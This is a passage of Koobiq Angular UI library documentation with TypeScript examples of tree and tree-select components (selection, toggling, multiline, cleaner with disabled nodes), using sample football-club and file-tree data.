                    "Founded in 1903, Atlético Madrid is known as 'Los Colchoneros' (The Mattress Makers) due to their striped jerseys. Based at the Wanda Metropolitano, they've won 11 La Liga titles, often challenging Barcelona and Real Madrid. Under Diego Simeone, they became known for defensive solidity and intense work ethic. The club has won 3 Europa Leagues and reached 3 Champions League finals. Their identity is built on fighting spirit and overcoming financial limitations. Atlético's rivalry with Real Madrid is among Europe's most intense city derbies. The club developed world-class strikers like Fernando Torres and Antoine Griezmann."
            },
            {
                name: 'Barcelona',
                description:
                    "FC Barcelona, founded in 1899, is more than a club ('Més que un club') representing Catalan identity. Based at Camp Nou, they've won 5 Champions League titles and 26 La Liga titles. Their La Masia academy produced legends like Messi, Xavi, and Iniesta. Johan Cruyff's 'Dream Team' in the 1990s established Barcelona's commitment to attacking football. The club pioneered the tiki-taka style under Pep Guardiola. Barcelona's rivalry with Real Madrid (El Clásico) is football's biggest club match. The club operates as a membership society, owned by its fans. Their 2009 sextuple remains unmatched in football history."
            },
            {
                name: 'Real Madrid',
                description:
                    "Real Madrid, founded in 1902, is the most successful club in Champions League history with 14 titles. Based at the Santiago Bernabéu, they've won 35 La Liga titles. The club was instrumental in creating the European Cup in the 1950s. Their all-white kit and Galácticos transfer policy are legendary. Alfredo Di Stéfano, Cristiano Ronaldo, and Zinedine Zidane are among their icons. Under Florentino Pérez, Madrid became a global sporting brand. Their rivalry with Barcelona mixes football with Spain's political tensions. The club was named 'Real' (Royal) by King Alfonso XIII in 1920"
            }
        ]
    }
];

@Component({
    selector: 'tree-selection-separate-from-focus-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqPseudoCheckboxModule
    ],
    template: `
        <div class="layout-row">
            <div class="flex-30">
                <kbq-tree-selection
                    [autoSelect]="false"
                    [dataSource]="dataSource"
                    [treeControl]="treeControl"
                    [(ngModel)]="modelValue"
                >
                    <kbq-tree-option
                        *kbqTreeNodeDef="let node"
                        kbqTreeNodePadding
                        [class.kbq-checked]="node.checked"
                        (keydown.space)="toggleCheckboxState($event, node)"
                    >
                        <kbq-pseudo-checkbox [state]="node.checked" (click)="toggleCheckboxState($event, node)" />
                        <span [innerHTML]="treeControl.getViewValue(node)"></span>
                    </kbq-tree-option>

                    <kbq-tree-option
                        *kbqTreeNodeDef="let node; when: hasChild"
                        kbqTreeNodePadding
                        [class.kbq-checked]="node.checked"
                        (keydown.space)="toggleCheckboxState($event, node)"
                    >
                        <kbq-tree-node-toggle [node]="node" />

                        <kbq-pseudo-checkbox [state]="node.checked" (click)="toggleCheckboxState($event, node)" />
                        <span [innerHTML]="treeControl.getViewValue(node)"></span>
                    </kbq-tree-option>
                </kbq-tree-selection>
            </div>

            <div class="layout-padding-left-l layout-padding-right-l flex-70">
                <div class="kbq-subheading layout-padding-bottom-s">{{ modelValue.name }}</div>
                <div class="kbq-text-normal">{{ modelValue.description }}</div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectionSeparateFromFocusExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: FileFlatNode;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
        this.modelValue = this.treeControl.dataNodes[0];
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.description = node.description;
        flatNode.parent = parent;
        flatNode.level = level;
        flatNode.expandable = !!node.children;
        flatNode.checked = false;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): FileFlatNode => {
        return node;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name}`;
    };

    toggleCheckboxState(event: Event, node: FileFlatNode) {
        event.preventDefault();
        event.stopPropagation();

        node.checked = !node.checked;
    }
}
```

#### Expanding a branch on click

Clicking an element expands the first level of child nodes, only leaf elements can be selected. Selection is disabled with the `selectable` attribute of `kbq-tree-option`: with `[selectable]="false"` the option remains focusable, navigable and expandable, but cannot be selected.

**Example: tree-select-and-mark** (`tree-toggle-on-click`)

```ts tree-toggle-on-click-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqPseudoCheckboxModule } from '@koobiq/components/core';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    description: string;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(countries: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const country of countries) {
        const node = new FileNode();

        node.name = country.name;

        if (country.children && country.children.length) {
            node.children = buildFileTree(country.children, level + 1);
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = [
    { name: 'Lonely leaf' },
    {
        name: 'Branch 1',
        children: [
            {
                name: 'Arsenal'
            },
            {
                name: 'Chelsea'
            },
            {
                name: 'Liverpool'
            },
            {
                name: 'Manchester City'
            },
            {
                name: 'Tottenham Hotspur'
            }
        ]
    },
    {
        name: 'Branch 2',
        children: [
            {
                name: 'Atlético de Madrid'
            },
            {
                name: 'FC Barcelona'
            },
            {
                name: 'Real Betis'
            },
            {
                name: 'Real Madrid'
            },
            {
                name: 'Sevilla FC'
            },
            {
                name: 'Valencia CF'
            }
        ]
    },
    {
        name: 'Disabled Node'
    }
];

@Component({
    selector: 'tree-toggle-on-click-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqPseudoCheckboxModule
    ],
    template: `
        <kbq-tree-selection
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [autoSelect]="false"
            [(ngModel)]="modelValue"
        >
            <kbq-tree-option
                *kbqTreeNodeDef="let node; when: hasChild"
                kbqTreeNodeToggle
                kbqTreeNodePadding
                [selectable]="false"
            >
                <kbq-tree-node-toggle [node]="node" />

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'Disabled Node'">
                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeToggleOnClickExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = '';

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): FileFlatNode => {
        return node;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name}`;
    };
}
```

## Tree select

- Entry point: `@koobiq/components/tree-select`
- NgModule: `KbqTreeSelectModule`
- Page: https://koobiq.io/en/components/tree-select/overview

### Overview

Tree Select lets users search and select one or more values from hierarchical data while preserving the tree structure.

#### With default parameters

**Example: Tree-select** (`tree-select-overview`)

```ts tree-select-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-overview-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select [(ngModel)]="selected">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectOverviewExample {
    selected = '';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Multiple tree-select

**Example: Tree-select multiple** (`tree-select-multiple-overview`)

```ts tree-select-multiple-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectChange, KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-multiple-overview-example',
    imports: [
        KbqTreeSelectModule,
        FormsModule,
        KbqTreeModule,
        KbqIconModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select
                [multiple]="true"
                [(ngModel)]="selected"
                (ngModelChange)="onModelChange($event)"
                (selectionChange)="onSelectionChange($event)"
            >
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectMultipleOverviewExample {
    selected = '';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };

    protected onSelectionChange($event: KbqTreeSelectChange) {
        console.log('selectionChange: ', $event);
    }

    protected onModelChange($event) {
        console.log('onModelChange: ', $event);
    }
}
```

#### Reset selected value

The reset control clears everything except disabled nodes. Change that with the `clearPredicate` attribute: `[clearPredicate]="clearEverything"` and `clearEverything = () => true` clear the disabled ones too.

**Example: Tree-select cleaner with disabled nodes** (`tree-select-cleaner-with-disabled`)

```ts tree-select-cleaner-with-disabled-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';
import {
    buildTree,
    FlatNode,
    getChildren,
    getLevel,
    getValue,
    isExpandable,
    Node,
    transformer,
    TREE_DATA
} from '../tree-select-cleaner-data';

/** Nodes the user is not allowed to deselect. */
const lockedNodes = ['Load balancer'];

@Component({
    selector: 'tree-select-cleaner-with-disabled-example',
    imports: [FormsModule, KbqIconModule, KbqTreeModule, KbqTreeSelectModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select multiple placeholder="Kept" [(ngModel)]="kept">
                <kbq-tree-selection [dataSource]="keptDataSource" [treeControl]="keptTreeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="isLocked(node)">
                        {{ keptTreeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="keptTreeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ keptTreeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-tree-select multiple placeholder="Cleared" [clearPredicate]="clearEverything" [(ngModel)]="cleared">
                <kbq-tree-selection [dataSource]="clearedDataSource" [treeControl]="clearedTreeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="isLocked(node)">
                        {{ clearedTreeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="clearedTreeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ clearedTreeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 240px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectCleanerWithDisabledExample {
    protected readonly kept = model(['Database', 'Load balancer', 'Message queue']);
    protected readonly cleared = model(['Database', 'Load balancer', 'Message queue']);

    // Each tree-select needs its own control and data source: they share neither selection nor expansion.
    protected readonly keptTreeControl = new FlatTreeControl<FlatNode>(getLevel, isExpandable, getValue, getValue);
    protected readonly clearedTreeControl = new FlatTreeControl<FlatNode>(getLevel, isExpandable, getValue, getValue);

    protected readonly keptDataSource = this.createDataSource(this.keptTreeControl);
    protected readonly clearedDataSource = this.createDataSource(this.clearedTreeControl);

    /** Opts out of the default, which leaves the disabled nodes selected. */
    protected readonly clearEverything = (_node: FlatNode) => true;

    protected isLocked(node: FlatNode): boolean {
        return lockedNodes.includes(node.name);
    }

    protected hasChild(_: number, node: FlatNode): boolean {
        return node.expandable;
    }

    private createDataSource(treeControl: FlatTreeControl<FlatNode>): KbqTreeFlatDataSource<Node, FlatNode> {
        const dataSource = new KbqTreeFlatDataSource(
            treeControl,
            new KbqTreeFlattener(transformer, getLevel, isExpandable, getChildren)
        );

        dataSource.data = buildTree(TREE_DATA);

        return dataSource;
    }
}
```

```ts ../tree-select-cleaner-data.ts
/** Keeps the tree plumbing out of the cleaner example, which is about the reset control. */

export class Node {
    name: string;
    children: Node[];
}

/** Flat node with expandable and level information. */
export class FlatNode {
    name: string;
    level: number;
    expandable: boolean;
    parent: FlatNode | null;
}

/** A shallow service tree: every node the examples disable sits at the top level, where it is rendered. */
export const TREE_DATA = {
    Servers: {
        'web-01': null,
        'web-02': null
    },
    Database: null,
    'Load balancer': null,
    'Message queue': null
};

export const buildTree = (value: object): Node[] =>
    Object.entries(value).map(([name, children]) => {
        const node = new Node();

        node.name = name;

        if (children) {
            node.children = buildTree(children);
        }

        return node;
    });

export const getLevel = (node: FlatNode): number => node.level;

export const isExpandable = (node: FlatNode): boolean => node.expandable;

export const getChildren = (node: Node): Node[] => node.children;

export const getValue = (node: FlatNode): string => node.name;

export const transformer = (node: Node, level: number, parent: FlatNode | null): FlatNode => {
    const flatNode = new FlatNode();

    flatNode.name = node.name;
    flatNode.level = level;
    flatNode.parent = parent;
    flatNode.expandable = !!node.children;

    return flatNode;
};
```

For a node inside a collapsed branch the `[disabled]` attribute is not taken into account: its option is not
rendered. Such a node is made inactive through `treeControl.isDisabled`.

#### Multiline tree-select (multiline)

**Example: tree-select-with-multiline-matcher** (`tree-select-with-multiline-matcher`)

```ts tree-select-with-multiline-matcher-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-with-multiline-matcher-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select [multiline]="true" [(ngModel)]="selected">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectWithMultilineMatcherExample {
    selected = ['button-toggle', 'button', 'autocomplete', 'documentation', 'tools', 'source'];

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

A multiline trigger grows with every selected option, so a long selection can make it taller than the dropdown
itself. When that happens and the panel fits neither below the trigger nor above it, the panel is anchored to
the trigger's first row and drawn over the rest of them, opening one gap below that row. The first row, the
chevron and the cleaner stay visible and clickable.

#### Multiple with child selection

**Example: Tree-select child selection** (`tree-select-child-selection-overview`)

```ts tree-select-child-selection-overview-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import {
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeOption,
    KbqTreeSelection
} from '@koobiq/components/tree';
import { KbqTreeSelect, KbqTreeSelectChange, KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-child-selection-overview-example',
    imports: [ReactiveFormsModule, KbqTreeSelectModule, KbqTreeModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select [formControl]="control" [multiple]="true" (selectionChange)="onSelectionChange($event)">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [checkboxThirdState]="true">
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option
                        *kbqTreeNodeDef="let node; when: hasChild"
                        kbqTreeNodePadding
